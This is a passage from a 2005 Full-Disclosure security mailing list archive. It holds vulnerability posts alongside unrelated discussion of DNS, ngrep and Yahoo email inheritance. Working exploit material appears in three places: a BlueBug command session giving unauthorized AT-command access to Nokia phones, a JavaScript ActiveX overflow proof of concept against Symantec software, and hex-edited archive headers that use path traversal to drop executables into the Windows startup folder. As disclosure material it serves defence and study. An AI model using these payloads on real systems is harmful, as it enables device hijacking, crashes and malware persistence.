count routines of the TIFF library (CAN-2004-1308). Dmitry V. Levin
found another similar issue in the tiffdump utility (CAN-2004-1183).

Impact
======

A remote attacker could entice a user to view a carefully crafted TIFF
image file, which would potentially lead to execution of arbitrary code
with the rights of the user viewing the image. This affects any program
that makes use of the TIFF library, including many web browsers or mail
readers.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All TIFF library users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=media-libs/tiff-3.7.1-r1"

References
==========

  [ 1 ] CAN-2004-1183
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1183
  [ 2 ] CAN-2004-1308
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1308
  [ 3 ] iDEFENSE Advisory

http://www.idefense.com/application/poi/display?id=174&type=vulnerabilities

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-06.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



 
Re: [Full-Disclosure] Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore

From: Dave Bryan (synackurggmail.com)
Date: Wed Jan 05 2005 - 17:16:23 CST


The reason that it is called BlueBug is because you are literally
bugging (Voice Calls) an unsuspecting victims pocket. Yes this is a
back door of sorts...

On Tue, 04 Jan 2005 14:46:19 +0100, Przemyslaw Frasunek
<venglinfreebsd.lublin.pl> wrote:
> Adam Laurie napisał(a):
> > Details of the attacks were disclosed at the Chaos Computer Club's annual
> > congress in Berlin - 21C3:
>
> According to the [1], not all details were disclosed. Actually, there is no
> reason for keeping them secret here, while they are well known and actively
> exploited in the blackhat community.
>
> The Bluebug, as described on [1] is trivially exploitable on some non-Symbian
> Nokia phones. It allows attacker to create serial profile connection without
> pairing or asking for permission, therefore it gives unauthorized access to all
> AT commands. It is possible to read/delete/send SMS messages, add/view/delete
> phonebook entries, change call diverts, initiate voice or data call.
>
> Demonstration on Nokia 6310i:
>
> laptop:~# hcitool scan
> Scanning ...
> 00:60:57:38:8C:D8 Nokia 6310i
> laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17
>
> Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for
> example:
>
> laptop:~# cu -l rfcomm0 -s 9600
> Connected.
> [ATE1]
> OK
> ATI
> Nokia
>
> OK
> AT+CPBS?
> +CPBS: "SM",0,100
>
> OK
> AT+CPBR=?
> +CPBR: (1-100),48,18
>
> OK
> ATDT+48609xxxxxx
> OK
>
> As you can see, the bug is really trivial and looks rather like backdoor.
>
> [1] - http://www.thebunker.net/security/bluetooth.htm
> [2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx
> [3] - http://www.gnokii.org/
>
> --
> * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
> * JID: venglinjabber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
RE: [Full-Disclosure] Possible DNS compromise/poisoning?

From: ALD, Aditya, Aditya Lalit Deshmukh (aditya.deshmukhonline.gateway.expertworks.net)
Date: Wed Jan 05 2005 - 20:33:39 CST


>- --SNIP--
>;; QUESTION SECTION:
>;www.microsoft.com. IN A
>
>;; ANSWER SECTION:
>www.microsoft.com. 2415 IN CNAME
>www.microsoft.com.nsatc.net.
>- --SNIP--
>
>Notice that www.microsoft.com is a cname for
>www.microsoft.com.nsatc.net. It's not limited to www.microsoft.com
>and to the best of my knowledge the correct web content is
>displayed.

Ms and all other big players have a round robin dns setup to prevent
slowdown of their sites. It this what you are seeing ?

-aditya

________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Pattern matching search tool

From: Alain Fauconnet (alainait.ac.th)
Date: Wed Jan 05 2005 - 19:55:43 CST


Paul,

On Wed, Jan 05, 2005 at 03:28:24PM -0600, Paul Schmehl wrote:
> Is anyone aware of a search tool (not Google or search engine aggregation
> software) that could be used to search our network for "interesting stuff"?
> It needs to be capable of doing pattern matching similar to perl's regular
> expression stuff.
>
> I'm looking for something that, for example, could tell me all the machines
> on our network that are running copies of phpBB (obvious reasons) so that
> we could quickly identify potential problem areas.

What about running 'ngrep' (http://ngrep.sourceforge.net/) on your
firewall or gateway, any box that can see most of the traffic, or even
on the servers themselves?

Greets,
_Alain_
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] All Symantec Products All Versions Until 2005 - Remote Stack Buffer Overflow

From: Rafel Ivgi, The-Insider (theinsider012.net.il)
Date: Thu Jan 06 2005 - 01:20:52 CST


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application: All Symantec Products All Versions Until 2005
Vendors: http://www.symantec.com/nav/nav_pro/
Platforms: Windows
Bug: Stack Buffer Overflow
Risk: Low - Crash - Not Exploitable
Exploitation: Remote with browser
Date: 10 Apr 2004
Author: Rafel Ivgi, The-Insider
e-mail: the_insidermail.com
web: http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

Symantec's Norton AntiVirus™ 2004 Professional is the world’s most trusted
antivirus solution with advanced protection. It protects email, instant
messages,
and other files by removing viruses automatically. Expanded threat detection
alerts
the user to spyware and similar hacking programs. It also supplies advanced
tools for
data recovery and secure file deletion and a license for two computers.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

Symantec Norton AntiVirus 2004 installs many DLLs(Dynamic Link Library)
and COM(Component Object Model) objects. One of its DLL's "ccErrDsp.dll"
Which is by the default installation options located at :
C:\Program Files\Common Files\Symantec Shared\ccErrDsp.dll

"ccErrDsp.dll" registers "CcErrDsp.ErrorDisplay.1" COM Object.
After Symantec Norton AntiVirus 2004 was used, this object can be created
Localy & Remotely!

For Example:
Set symkiller = CreateObject("CcErrDsp.ErrorDisplay.1" )

The vulnerability appears in the "sProduct" parameter at the "DisplayError"
function of the object.
The "DisplayError" recieves the following parameters:
DisplayError(
                        [in] long nParentWnd,
                        [in] int nModuleId,
                        [in] int nErrorId,
                        [in] BSTR sCaption,
                        [in] BSTR sErrorText,
                        [in] BSTR sProduct,
                        [in] BSTR sVersion,
                        [in, optional] VARIANT varKeyArray,
                        [in, optional] VARIANT varValueArray,
                        [out, retval] VARIANT_BOOL* pRet);

Which means that the following assignment:
object.DisplayError(1,1,1,[STR <=255],[STR <=255],[Really Long String -
'A'>521950],[STR <=255]);
Will cause a Stack Buffer Overflow, which does not allow code execution.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

This is Proof Of Concept Code:
------------------- CUT HERE -------------------
<script>
a=
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
b=
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
for (i=0;i<2000;i++) {
a= a + b;
}

symkiller=new ActiveXObject("CcErrDsp.ErrorDisplay.1" );
symkiller.DisplayError(1,1,1,b,b,a,b);
</script>
------------------- CUT HERE -------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Only the one who sees the invisible , Can do the Impossible."

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] WinHKI - CAB File Directory Transversal

From: Rafel Ivgi, The-Insider (theinsider012.net.il)
Date: Thu Jan 06 2005 - 02:20:27 CST


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application: WinHKI
Vendors: http://www.webtoolmaster.com
Versions: 1.4d
Platforms: Windows
Bug: CAB File Directory Transversal
Exploitation: Local (extract file)
Date: 24 Dec 2004
Author: Rafel Ivgi, The-Insider
E-Mail: the_insidermail.com
Website: http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ
compressions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

This is a normal CAB compressed file header

00000000 4D53 4346 0000 0000 0E30 0F00 0000 0000 MSCF.....0......
00000010 2C00 0000 0000 0000 0301 0100 0100 0000 ,...............
00000020 0000 0000 5800 0000 2000 0100 C8EE 0F00 ....X... .......
00000030 0000 0000 0000 0C2F CC61 2000 7356 5656 ......./.a .sVVV
00000040 5656 5656 5656 5656 5656 5656 5656 5656 VVVVVVVVVVVVVVVV
00000050 5670 352E 6578 6500 5D5B 7CBC 2742 0080 Vp5.exe.][|.'B..
00000060 434B EC5A 7F54 5457 7E7F 33CC C000 036F CK.Z.TTW~.3....o

in the following code, we can see how easy it is to change the path
to anywhere we want, including the all users start up folder.

00000000 4D53 4346 0000 0000 0E30 0F00 0000 0000 MSCF.....0......
00000010 2C00 0000 0000 0000 0301 0100 0100 0000 ,...............
00000020 0000 0000 5800 0000 2000 0100 C8EE 0F00 ....X... .......
00000030 0000 0000 0000 0C2F CC61 2000 433A 5C56 ......./.a .C:\V
00000040 5656 5656 5656 5656 5656 5656 5656 5656 VVVVVVVVVVVVVVVV
00000050 5670 352E 6578 6500 5D5B 7CBC 2742 0080 Vp5.exe.][|.'B..
00000060 434B EC5A 7F54 5457 7E7F 33CC C000 036F CK.Z.TTW~.3....o

All we need to do is cab compress (using Microsoft's "makecab" or Winace)
a file with a long name/path and change the path specified inside the file
to whatever we want Using any Hex editor such as HexWorkshop, just add
anything to the filename.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

An online proof of concept can be found at:
http://theinsider.web1000.com/hki transversal.cab

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] WinHKI - LHA File Incorrect Filename Handeling Leads to Crash/Underflow

From: Rafel Ivgi, The-Insider (theinsider012.net.il)
Date: Thu Jan 06 2005 - 02:18:51 CST


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application: WinHKI
Vendors: http://www.webtoolmaster.com
Versions: 1.4d
Platforms: Windows
Bug: LHA File Incorrect Filename Handeling Leads to
Crash/Underflow
Exploitation: Local (extract file)
Date: 24 Dec 2004
Author: Rafel Ivgi, The-Insider
E-Mail: the_insidermail.com
Website: http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

WinHKI is a file archiever which supports: LHA, CAB, HKI, JAR, LHA,TAR, GZ
compressions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

This is a normal LHA compressed file header

00000000 1EFF 2D6C 6830 2D1B 0000 001B 0000 0039 ..-lh0-........9
00000010 7378 3120 0008 5C31 3032 2E68 746D 4543 sx1 ..\102.htmEC
00000020 3C73 6372 6970 7466 3E61 6C65 7274 2829 <scriptf>alert()
00000030 3C2F 7363 7269 7074 3E0D 0A62 5F2D 6C68 </script>..b_-lh
00000040 642D 0000 0000 0000 0000 94A4 8431 1000 d-...........1..

The last byte in the following code, specifies the length of the
compressed file name. Once its smaller than the filename's length
WinHKI crashes.

00000000 1EFF 2D6C 6830 2D1B 0000 001B 0000 0039 ..-lh0-........9
00000010 7378 3120 0020 sx1 .

This may be an underflow, i couln't tell its an
underflow for sure because my MSDEV went into a 100 CPU% loop
while debugging this.
All we need to do is shorten the length of the filename specified inside the
file
or to change the byte which sets the filename's size to a higher value.
For Example:

00000000 1EFF 2D6C 6830 2D1B 0000 001B 0000 0039 ..-lh0-........9
00000010 7378 3120 0020 5C31 3073 7373 7373 7373 sx1 . \10sssssss
00000020 3232 2E68 746D 4543 3C73 6372 6970 7466 22.htmEC<scriptf
00000030 3E61 6C65 7274 2829 3C2F 7363 7269 7074 >alert()</script
00000040 3E0D 0A62 5F2D 6C68 642D 0000 0000 0000 >..b_-lhd-......
00000050 0000 94A4 8431 1000 4C5C 446F 6375 6D65 .....1..L\Docume

Using any Hex editor such as HexWorkshop, just add anything to the filename.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

An online proof of concept can be found at:
http://theinsider.deep-ice.com/poc.lha - (also contains folder names from my
old computer...)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] WinAce - GZIP File Directory Transversal

From: Rafel Ivgi, The-Insider (theinsider012.net.il)
Date: Thu Jan 06 2005 - 02:22:22 CST


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application: WinAce
Vendors: http://www.webtoolmaster.com
Versions: 1.4d
Platforms: Windows
Bug: GZIP File Directory Transversal
Exploitation: Local (extract file)
Date: 24 Dec 2004
Author: Rafel Ivgi, The-Insider
E-Mail: the_insidermail.com
Website: http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

WinAce is a file archiever which supports: CAB, JAR, ZIP, RAR, TAR, GZ,
TAR.GZ, LZA, LHA compressions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

This is a normal GZIP compressed file header

00000000 1F8B 0808 DC89 9641 0000 7769 6E33 322D .......A..win32-
00000010 7368 656C 6C63 6F64 652E 7064 6600 BCBC shellcode.pdf...
00000020 073C 95FF FB3F 5E66 227B 671C 2487 749C .<...?^f"{g.$.t.
00000030 7D8E 5956 F626 23C9 96BD B790 BD77 F6C8 }.YV.&#......w..
00000040 2622 2264 9411 2111 45F6 5656 4684 28FF &""d..!.E.VVF.(.

in the following code, we can see how easy it is to change the path
to anywhere we want, including the all users start up folder.
I just overwrited the original long file name to /../../sp5.exe

00000000 1F8B 0808 CE7D A441 0000 2E2E 2F2E 2E2F .....}.A..../../
00000010 2E2E 2F2E 2E2F 2E2E 2F72 6166 692E 6578 ../../../rafi.ex
00000020 6500 B329 4E2E CA2C 2849 B34B CC49 2D2A e..)N..,(I.K.I-*
00000030 D1D0 B4D1 8708 D8F1 7201 0045 5910 EA1B ........r..EY...
00000040 0000 00 ...

All we need to do is GZIP compress (using winace)
a file with a long name/path and change the path specified inside the file
to whatever we want Using any Hex editor such as HexWorkshop, just add
anything to the filename.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

An online proof of concept can be found at:
http://theinsider.deep-ice.com/winace gz file transversal.gz

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Example of Legal Ruling involving Internet Issues: >> Re: Yahoo and inheiriting someone's email

From: James Tucker (jftuckergmail.com)
Date: Thu Jan 06 2005 - 03:49:14 CST


Policy is policy.

If the policy is to be ignored, then so can your copyright signs, any
security notices you put on your e-mails to do with
anti-theft/anti-eavesdrop or whatever else posted anywhere else.

There is no better way to express this issue than, if it gets
overruled then it will make a farce of all digital 'agreements'
including things such as the GPL or common EULA's.

No matter what your opinion on these things as individual items or the
context in which they occur, if you remove the meaning of the
agreement, there is nothing you can replace it with, as anything could
be over-ruled at will.

Yes, maybe Yahoo does not have a comprehensive enough agreement to
deal with this issue; that would be _an_ opinion. That does not mean
ignore the agreement, that should mean maybe correct it for next time,
if there is enough agreement among the customer base that the
agreement should be changed.

Yes, maybe they (e-mails) are part of the estate, except the e-mail
itself, that is random bits, that cannot be summed or accounted for
properly (a common issue with IS). What DOES physically exist is the
agreement which he signed up to, which states exactly what it says.

Yahoo could be in as much trouble to override their agreement as to
uphold it. I say give them a break; THAT IS WHY THEY SAY _READ_ THE
AGREEMENT. Most people just click yes without thinking about it.

A contract can say "void after death" (e.g. many non-life insurance
contracts), and there are few arguments about that. There should be no
difference in that regard here. Read the contract/agreement, act
accordingly. That is law as far as I understand it, although IANAL.

Evidence of contractual agreement is available, thus the contract must
hold true.

another $0.02. although this is all getting a little tiring, which is
partially why I had to reply. (ironically stupid I know, but hey, I am
human too).
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] WinHKI - BH File Directory Transversal

From: Rafel Ivgi, The-Insider (theinsider012.net.il)
Date: Thu Jan 06 2005 - 02:19:50 CST


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application: WinHKI
Vendors: http://www.webtoolmaster.com
Versions: 1.4d
Platforms: Windows
Bug: BH File Directory Transversal
Exploitation: Local (extract file)
Date: 24 Dec 2004
Author: Rafel Ivgi, The-Insider
E-Mail: the_insidermail.com
Website: http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ
compressions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

This is a normal BH compressed file header

00000000 484B 4901 1441 0000 FD00 3973 7831 8D34 HKI..A....9sx1.4
00000010 3741 7800 0000 1B00 0000 0500 0000 302E 7Ax...........0.
00000020 6874 6D00 0010 0078 0000 001B 0000 008D htm....x........
00000030 3437 4101 0000 0001 06FF FF00 0000 0000 47A.............

in the following code, we can see how easy it is to change the path
to anywhere we want, including the all users start up folder.

00000000 484B 4901 1441 0000 FD00 6C8C 9031 066A HKI..A....l..1.j
00000010 8E05 F600 0000 D300 0000 4000 0000 633A .............c:
00000020 5C64 6F63 756D 657E 315C 616C 6C75 7365 \docume~1\alluse
00000030 7E31 5C73 7461 7274 6D7E 315C 7072 6F67 ~1\startm~1\prog
00000040 7261 6D73 5C73 7461 7274 7570 5C63 6F6F rams\startup\coo
00000050 6C20 2076 6972 7573 6573 2E65 7865 0000 l viruses.exe..
00000060 1000 F600 0000 D300 0000 066A 8E05 0100 ...........j....

All we need to do is cab compress (using WinHKI) a file with a long
name/path and change the path specified inside the file to whatever
we want Using any Hex editor such as HexWorkshop, just add anything
to the filename.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

An online proof of concept can be found at:
http://theinsider.deep-ice.com/poc.bh

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Example of Legal Ruling involving Internet Issues: >> Re: Yahoo and inheiriting someone's email

From: Steve Kudlak (chromazinesbcglobal.net)
Date: Thu Jan 06 2005 - 04:38:40 CST


James Tucker wrote:

>Policy is policy.
>
>If the policy is to be ignored, then so can your copyright signs, any
>security notices you put on your e-mails to do with
>anti-theft/anti-eavesdrop or whatever else posted anywhere else.
>
>There is no better way to express this issue than, if it gets
>overruled then it will make a farce of all digital 'agreements'
>including things such as the GPL or common EULA's.
>
>No matter what your opinion on these things as individual items or the
>context in which they occur, if you remove the meaning of the
>agreement, there is nothing you can replace it with, as anything could
>be over-ruled at will.
>
>Yes, maybe Yahoo does not have a comprehensive enough agreement to
>deal with this issue; that would be _an_ opinion. That does not mean
>ignore the agreement, that should mean maybe correct it for next time,
>if there is enough agreement among the customer base that the
>agreement should be changed.
>
>Yes, maybe they (e-mails) are part of the estate, except the e-mail
>itself, that is random bits, that cannot be summed or accounted for
>properly (a common issue with IS). What DOES physically exist is the
>agreement which he signed up to, which states exactly what it says.
>
>Yahoo could be in as much trouble to override their agreement as to
>uphold it. I say give them a break; THAT IS WHY THEY SAY _READ_ THE
>AGREEMENT. Most people just click yes without thinking about it.
>
>A contract can say "void after death" (e.g. many non-life insurance
>contracts), and there are few arguments about that. There should be no
>difference in that regard here. Read the contract/agreement, act
>accordingly. That is law as far as I understand it, although IANAL.
>
>Evidence of contractual agreement is available, thus the contract must
>hold true.
>
>another $0.02. although this is all getting a little tiring, which is
>partially why I had to reply. (ironically stupid I know, but hey, I am
>human too).
>
>
>
However policy is bound by the laws of the state in which the entity
setting policy resides or these days does business. Legal details are
painful and boring sometimes but it determines a lot. Especiallhy when
one deals with things like inheiritance and righta of survivorship which
often trump policy. However there are a limited number of these legal
areas where this can happen. So policy is often policy and the way
things go, but people can occassionally twart things and that should be
taken into consideration,

Have Fun,
Sends Steve

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Pattern matching search tool

From: Florian Weimer (fwdeneb.enyo.de)
Date: Thu Jan 06 2005 - 07:28:53 CST


* Paul Schmehl:

> Is anyone aware of a search tool (not Google or search engine
> aggregation software) that could be used to search our network for
> "interesting stuff"? It needs to be capable of doing pattern
> matching similar to perl's regular expression stuff.

For active sites, ngrep is rather useful. It won't catch dormant
applications, though.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
RE: [Full-Disclosure] Possible DNS compromise/poisoning?

nicholasnamhush.com
Date: Thu Jan 06 2005 - 08:02:34 CST


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Yes, that's exactly it. Thanks.

On Wed, 05 Jan 2005 18:33:39 -0800 "ALD, Aditya, Aditya Lalit
Deshmukh" <aditya.deshmukhonline.gateway.expertworks.net> wrote:
>>- --SNIP--
>>;; QUESTION SECTION:
>>;www.microsoft.com. IN A
>>
>>;; ANSWER SECTION:
>>www.microsoft.com. 2415 IN CNAME
>>www.microsoft.com.nsatc.net.
>>- --SNIP--
>>
>>Notice that www.microsoft.com is a cname for
>>www.microsoft.com.nsatc.net. It's not limited to
>www.microsoft.com
>>and to the best of my knowledge the correct web content is
>>displayed.
>
>
>Ms and all other big players have a round robin dns setup to
>prevent
>slowdown of their sites. It this what you are seeing ?
>
>-aditya
>
>
>___________________________________________________________________
>_____
